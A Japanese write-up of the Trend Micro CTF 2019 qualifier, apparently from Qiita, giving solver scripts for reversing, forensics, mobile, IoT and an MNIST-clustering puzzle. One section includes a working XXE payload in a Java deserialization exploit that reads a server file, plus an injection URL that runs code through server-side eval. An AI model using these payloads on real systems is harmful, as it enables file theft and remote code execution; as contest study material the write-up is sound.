Help us understand the problem. What is going on with this article?

Trend Micro CTF 2019 予選 write-up

https://www.trendmicro.com/ja_jp/campaigns/capture-the-flag.html

superflipは、6問解いて900点、23位。

image.png

解いた問題。終了後はスコアサーバーにログインできなくなっていたので、途中経過。これ以降に解いた問題は無し。

image.png

Trend Micro CTFは解くのが面倒な問題が多い。実務での解析はそういうものなのかもしれない。

今回初めてGhidraを使ってみた。とても便利だった。

image.png

変数名は書き換えたけれど、逆コンパイルコードは自動でこれが出てくる。しかもこの問題の解析対象はx86ではなくARM。

Reversing 100

解けなかった。

Windowsバイナリ。TMを引数に付けて実行すると、実行すると、

>GuessWhat.exe TM
Ok, now you're in :)

V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=?????

Do you have something for me?

V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=What do you know about ciphers?

プログラムを解析するとrc4で先に進めることが分かる。

A7A91F1EA45AE0BE03735A09577DA594230BDE854B

Now you have the encrypted string you probably need a key, right?

Take a closer look at the string functions.

言われたとおりにstring functionをtake a closer lookすると、0x7fffffffが得られて、これを鍵としてA7A91F1EA45AE0BE03735A09577DA594230BDE854BをRC4で復号すると、&N0wu4rEgeTTinGth3re!。さらに問題のバイナリはリースにZIPファイルを含んでいる。ZIPファイルのパスワードが&N0wu4rEgeTTinGth3re!。↓の画像が出てくる。

https://www.deviantart.com/42dannybob/art/Shell-Meme-Original-Memes--405313441

画像は完全に同一 勘違いだった。画像も差分があった でJPEGの中身がちょっと異なるので、ステガノグラフィで何か埋め込んでいるのだと思ったけれど、異なるブロックは絵が存在するところだけで違いは良く分からず、終わり。100点だしそろそろ答えだと思うのだけど……。

Reversing 200

Reversingは1問も解けなかった。

ELFバイナリ。最初のフォーマットチェックは16文字の英字で通る。

$ ./much_ado_about_nothing TMCTF{aaaaaaaaaaaaaaaa}
TMCTF{aaaaaaaaaaaaaaaa} is not the correct flag.

その後が分からない。sigprocmaskとかを呼び出している。何をしているのだろう。

Forensics-Exploit 100

PCAPファイル。

IPアドレス167.153.103.215に対して、 http://172.16.123.177/ でアクセスしている奇妙なリクエストがある。どうやったらこんなリクエストができるのだろう? Base64でエンコードされたアニメーションGIFをダウンロードしている。とはいえ、これは特に関係無し。

似たようなリクエストで、117.114.23.95に対して、 http://172.16.123.177:125/ でアクセスしているものがある。 ip.addr==117.114.23.95 でフィルタしてポート番号を時間順に並べるとフラグになる。

TMCTF{Kn0ckJu5toNth3r1ghtd00r}

Forensics-Exploit 200

MIPSバイナリ。

動かす環境が無いから想像だけれど、こういう挙動をするはず。

$ ./helloctf
Welcome to Raimund Genes CTF 2019
MD5(flag) = 32d4b0b75479e4d5bb210f39315cd001
Please enter the password: XXXX
Result: "YYYY"

パスワードXに対してresultは次の手順で生成される。

  1. Welcome to Raimund Genes CTF 2019の文字をソートする(0129CFGRTWacdeeeeilmmnnoostu
  2. パスワードXに含まれる文字を取り除く
  3. 74 7d 72 66 7f 38 14 26 3b 39 22 0d 00 3a 24 21 36 5d 54 58 5c 0eとxorをする

フラグはTMCTF{???????????????}という形式のはずである。これを74 7d 72 ...とxorすると、0129C???????????????sとなる。ということは、???...の部分は、FGRTWacdeeeeilmmnnooから選ばれるはず。$\binom{20}{15}=\binom{20}{5}$なので全探索できる。

solve.py
welcome = "Welcome to Raimund Genes CTF 2019"
welcome = "".join(sorted(welcome))

key = "747d72667f3814263b39220d003a2421365d54585c0e".decode("hex")
flag = "TMCTF{               }"

xor = "".join(chr(ord(x)^ord(y)) for x, y in zip(key, flag))
print welcome
print xor

"""
     0129CFGRTWacdeeeeilmmnnoostu
     0129                     s
"""

import itertools
import hashlib

for c in itertools.combinations("FGRTWacdeeeeilmmnnoo", 15):
  f = "TMCTF{" + "".join(chr(ord(x)^ord(y)) for x,y in zip(c, key[6:-1])) + "}"
  if hashlib.md5(f).hexdigest()=="32d4b0b75479e4d5bb210f39315cd001":
    print f
>py -2 solve.py
     0129CFGRTWacdeeeeilmmnnoostu
 0129C4- }tx|s
TMCTF{Raimund_AD_1963}
TMCTF{Raimund_AD_1963}
TMCTF{Raimund_AD_1963}
 :

何個も出てくるのは、itertools.combinationsが同じ文字を区別するから。区別しないでほしい。

各要素は場所に基づいて一意に取り扱われ、値にはよりません。

https://docs.python.org/ja/3/library/itertools.html#itertools.combinations

パスワードは、Caemnoを含み、これ以外のs以前の文字を含まない文字列。何だろう?

TMCTF{Raimund_AD_1963}

Forensics-Exploit 300

blueprint.warが問題。「拡張子.war、聞き覚えはあるが……」と思ったら、Javaのウェブサーバー用にJARなどをさらにパックしたものだった

ググっていたところ、Trend Micro CTFのwrite-upが出てきた。「コンテスト中にwrite-up公開だと……?」と日付を良く見たら、2018年だった。去年も似たような問題が出ていたらしい。

https://graneed.hatenablog.com/entry/2018/09/16/132350

ということで差分を見てみると、CustomOISwhitelistcom.trendmicro.Personだけになっていた。一見無理そうだが、その代わりにPersonreadObject実装してXMLから自分でパースしている。XML External Entity

/TMCTF2019/flagbinはバイナリファイルなので、読めない。/TMCTF2019/keyは読める。問題のファイルを改造して、

com/trendmicro/Person.java
package com.trendmicro;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Person
  implements Serializable
{
  public String name;
  private static final long serialVersionUID = -559038737L;

  public Person(String name)
  {
    this.name = name;
  }

  private void readObject(ObjectInputStream aInputStream)
    throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException
  {
    int paramInt = aInputStream.readInt();
    byte[] arrayOfByte = new byte[paramInt];
    aInputStream.read(arrayOfByte);
    ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
    DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
    localDocumentBuilderFactory.setNamespaceAware(true);
    DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
    Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
    NodeList nodeList = localDocument.getElementsByTagName("tag");
    Node node = nodeList.item(0);
    this.name = node.getTextContent();
  }

  private void writeObject(ObjectOutputStream s)
    throws IOException
  {
    String xml = "<!DOCTYPE tag [<!ENTITY xxe SYSTEM \"file:///TMCTF2019/key\">]><tag>&xxe;</tag>";
    s.writeInt(xml.length());
    s.write(xml.getBytes());
  }

  public static void main(String args[]) throws Exception {
    FileOutputStream fout = new FileOutputStream("hoge");
    ObjectOutputStream oos = new ObjectOutputStream(fout);
    oos.writeObject(new Person("fuga"));
    oos.close();
    fout.close();
  }
}
$ javac com/trendmicro/Person.java && java com.trendmicro.Person
$ curl --data-binary @hoge http://flagmarshal.xyz/jail
Sorry Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain. I cannot let you have the Flag!.

問題文のflagmarshal.xyzってURLだったのね……。

keyが分かれば、/Officeがevalをしているので、後は簡単。

http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%27%2bnew+com.trendmicro.jail.Flag().getFlag()%2b%27

HTTPステータス 500 - Internal Server Error
Type Exception Report

メッセージ A problem occurred when trying to execute method 'getFlag' on object of type [com.trendmicro.jail.Flag]

説明 The server encountered an unexpected condition that prevented it from fulfilling the request.

例外
 :
原因

java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}
    com.trendmicro.jail.Flag.getFlag(Flag.java:19)
    jdk.internal.reflect.GeneratedMethodAccessor69.invoke(Unknown Source)
 :

TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}

Forensics-exploit 400

このコンテスト唯一の(たぶん)pwnable。

JavaScriptのインタプリターが動いているから、シェルを取れという問題っぽい。難しそうなので諦め。

Mobile 100

ADBポートを開けていたら、攻撃されてロックされちゃったらしい😇 通信のpcapファイルを渡すので何とかしてくれという問題。

pcapの通信をファイルに書き出して、WRTEからの24バイトと、DATAからの8バイトを削除して、apkファイルを取り出す。Apktoolで逆アセンブル。myDeviceAdmin.smaliのgetPasswordでxorしたりしているので、これでしょう。

solve.py
A1 = [
  0x18, 0x02, 0x00, 0x1f, 0x03, 0x29, 0x0b, 0x20,
  0x2c, 0x2f, 0x09, 0x27, 0x2f, 0x24, 0x0e, 0x32,
  0x03, 0x20, 0x25, 0x2a, 0x2d, 0x2f, 0x64, 0x2f,
]

print "".join(chr(A1[i]^ord("LOCKER"[i%6])) for i in range(len(A1)))

TMCTF{GoodLuckMyFriend!}

Mobile 300

解けなかった。

Androidアプリのネイティブコードの解析。libtmctfplayer.soがGhidraでもまともに解析できないけれど何なんだろう。

Iot 100

OLEDにQRコードを表示するプログラムと通信ログからQRコードを復元。今回のコンテストで一番簡単。

情報を送っているっぽい通信が最後だけで、OLEDに送信する処理は↓にある。

https://github.com/ThingPulse/esp8266-oled-ssd1306/blob/master/src/OLEDDisplay.cpp

solve.py
buf = [
  0x7F, 0x41, 0x5D, 0x5D, 0x5D, 0x41, 0x7F, 0x00, 0xF3, 0x12, 0xDE, 0xB5, 0xC7, 0x12, 0xDE, 0xB5,
  0xC7, 0x12, 0xDE, 0xB5, 0xC7, 0x00, 0x7F, 0x41, 0x5D, 0x5D, 0x5D, 0x41, 0x7F, 0xA7, 0x39, 0xBF,
  0x5C, 0x6E, 0x2D, 0x55, 0xA4, 0x8D, 0xFB, 0x43, 0x94, 0xF0, 0x5B, 0xC3, 0x94, 0xF0, 0x5B, 0xC3,
  0xE4, 0xA9, 0x73, 0x3D, 0xC3, 0x41, 0xFE, 0x14, 0x9B, 0x5D, 0xD4, 0x56, 0x45, 0x42, 0x4B, 0x53,
  0xD5, 0x1E, 0xA1, 0x97, 0xB2, 0x94, 0xF0, 0x5B, 0xC3, 0x94, 0xF0, 0x5B, 0xC3, 0x35, 0xF7, 0x16,
  0x55, 0x1F, 0xF1, 0x60, 0x42, 0x20, 0x54, 0x1F, 0x10, 0x17, 0x17, 0x17, 0x10, 0x1F, 0x00, 0x1C,
  0x06, 0x18, 0x14, 0x10, 0x1B, 0x03, 0x14, 0x10, 0x1B, 0x03, 0x0D, 0x17, 0x09, 0x01, 0x07, 0x17,
  0x06, 0x00, 0x06, 0x15,
]

for y in range(29):
  l = ""
  for x in range(29):
    p = buf[x+y/8*29]>>(y%8)&1
    l += ".#"[p]
  print l
$ python solve.py
#######.#..##..##..##.#######
#.....#.###.###.###.#.#.....#
#.###.#...###.###.###.#.###.#
#.###.#...#...#...#...#.###.#
#.###.#.####.###.###..#.###.#
#.....#.#..#...#...#..#.....#
#######.#.#.#.#.#.#.#.#######
........#.###.###.###........
###..##.###..##..##.#####..##
#.#.#....##..##..##..#.#.#.#.
#.#######..#...#...#..#..##.#
.#####..##...#...#..#.#..#.##
.###..#..#.###.###...##..####
###.##.#.#..#...#..####..#...
...##.#..##.###.####.#.###..#
#.#....###.##.###.###..#.#.#.
..#.###.##...##..####.###....
.#.###.#.##..##..##.##.#..#..
###...##.#.#...#...#####....#
....#..#.....#...#.....#.....
##...###.#####.###.######...#
........#.#.#...#..##...##.#.
#######.....###.###.#.#.###.#
#.....#.#####.###.#.#...#....
#.###.#......##..########...#
#.###.#..#...##..##.#..###.#.
#.###.#.##.#...#...##..###.##
#.....#.#.#..#...#.#.#.......
#######.#.####.###..#...#...#

TMCTF{4646D3V8P7R0G}

IoT 200

解けなかった。

ARMバイナリ。しかし、逆アセンブルしても何も出てこない。

This file is packed with the RGC executable packer http://upx.sf.netという文字列が見えるので、「RGCって何だよ……」と思いながら、UPXで、upx.exe -d wawoでアンパックできる。UPX、WindowsのEXEだけではなく種々のフォーマットに対応しているし、クロスプラットフォームでパックできるらしい。すごい。

プログラム中の文字列は暗号化されていて、下記のスクリプトで変換できる。意図的なものかバグか、先頭のrは1回しか使われない。

decrypt.py
def decrypt(s):
  return "".join(chr(ord(s[i])^ord("raimundg"[0 if i==0 else (i-1)%7+1])) for i in range(len(s)))

print decrypt("00001a1d170b1615181904".decode("hex"))
print decrypt("5d041d0e5a1c01140e051b5b0d0b0907".decode("hex"))
print decrypt(
  "1c000408060b1611041b4d4d405c4959"+
  "47557f1d0106130a05551d0b0a041d05"+
  "1c0003140e040801060d09060d0c0705"+
  "170e050c431a1c036d".decode("hex"))
$ python decrypt.py
raspberrypi
/etc/resolv.conf
YE[SX\TAYQRV\^UWWX^ETRT\\^W YYD
TRP
]E^WVUEZT_QX]C^ WXY[E
TQ^]@yjbm*wim

ここまでは良いのだけど、/etc/resolv.confに書き込んでいる最後の文字列が復号できない。Raspberry Piの実機があれば動かして解けたのだろうか。

Wildcard 100

16,768枚ずつの3と6の手書き画像が与えられる。同じ画像も含まれているらしい。

image.png

  1. クラスタリングアルゴリズムで2個に分けろ
  2. どっちが3でどっちが6かを調べろ
  3. それぞれのユニークな画像を数えろ

という問題。

とりあえず、ユニークな画像はファイル自体を比較すれば良い。ユニークな画像は15,310枚。これでユニークな画像がとても多かったら、重複した画像のほうを識別しようと思ったけれど、そういうわけにはいかない。良くできている。

手書き画像だし、ディープラーニングを使ったところでどうせ99%くらいの精度しか出なくない? ということで、100枚をランダムにサンプリングして別フォルダに分け、天然知能である私が識別して数えると3が60枚で6が40枚だった。味噌汁は丸ごと飲まなくても味が分かる。9168枚と6124枚を元に値を増減しながらスコアサーバーにサブミット。10回間違えると

Error: You have submitted too many wrong flags within a short time period. Your team account is locked until 2019-09-07 09:39:01 UTC+0000.

というメッセージが出てきて1分待たされる。そのうち飽きてきた。

真面目に分類することを考える。DeepClusterというものがあるらしいけれど大変そうなので、k-meansで128個くらいに分類。かなり傾いた6とかもあるので2クラスでは無理でしょう。しかし、3が多いからか大半が3になって失敗。

考えてみれば、Trend Micro CTFの運営がわざわざ1万枚以上の手書き数字を用意しないだろうし、MNISTでしょ? MNISTの画像やラベルと比較すれば数字が分かる。嫌らしいことにJPEGで劣化していて、ハッシュ値とかで高速に比較することができない(28x28の小さい画像だとJPEGで逆にサイズが増えているので、たぶんこれを意図している)。しかたがないので、数時間掛けて1枚ずつ突き合わせ。

solve.py
import hashlib
from PIL import Image
import shutil

mnist_data = []
mnist_label = []

def load_mnist(fdata, flabel, num):
  data = open(fdata, "rb")
  data.read(16)
  label = open(flabel, "rb")
  label.read(8)
  for i in range(num):
    mnist_data.append(map(ord, data.read(28*28)))
    mnist_label.append(ord(label.read(1)))
  assert data.read(1)==""
  assert label.read(1)==""

load_mnist("t10k-images.idx3-ubyte", "t10k-labels.idx1-ubyte", 10000)
load_mnist("train-images.idx3-ubyte", "train-labels.idx1-ubyte", 60000)


S = set()

for i in range(34022):
  f = "data\\%s.jpg"%i
  d = open(f, "rb").read()
  h = hashlib.sha1(d).hexdigest()
  if h in S:
    continue
  S.add(h)

  im = Image.open(f)
  if im.mode=="RGB":
    d = [r for r,_g,_b in im.getdata()]
  elif im.mode=="L":
    d = list(im.getdata())
  else:
    print "Error", im.mode

  sm = 9999999999
  for mi in range(len(mnist_data)):
    if mnist_label[mi] in [3, 6]:
      s = sum((x-y)**2 for x, y in zip(d, mnist_data[mi]))
      if s<sm:
        sm = s
        ma = mi
  print i, ma, mnist_label[ma], sm
  shutil.copyfile(f, "%d\\%s.jpg"%(mnist_label[ma], i))

3が14,963枚。6が347枚。あれ……。最初にサンプリングするスクリプトがバグっていた。

しかし、これも不正解。どういうことかと思ったら、3656.jpgと6575.jpgはファイルとしては異なるのに、画像は同一だった。

TMCTF{14962_347}

おまけ

技術書典7でCTFのpwnableの本を出すので、よろしくお願いします。これを書くためにpwnableを練習したので無双できるかと思ったけど、役に立たなかった……。

https://sanya.sweetduet.info/ctfpwn/

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away